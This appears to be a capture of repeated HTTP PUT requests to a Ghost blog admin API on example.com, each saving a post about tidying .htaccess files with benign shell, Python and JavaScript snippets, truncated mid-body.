started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8103", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8105", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8135", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
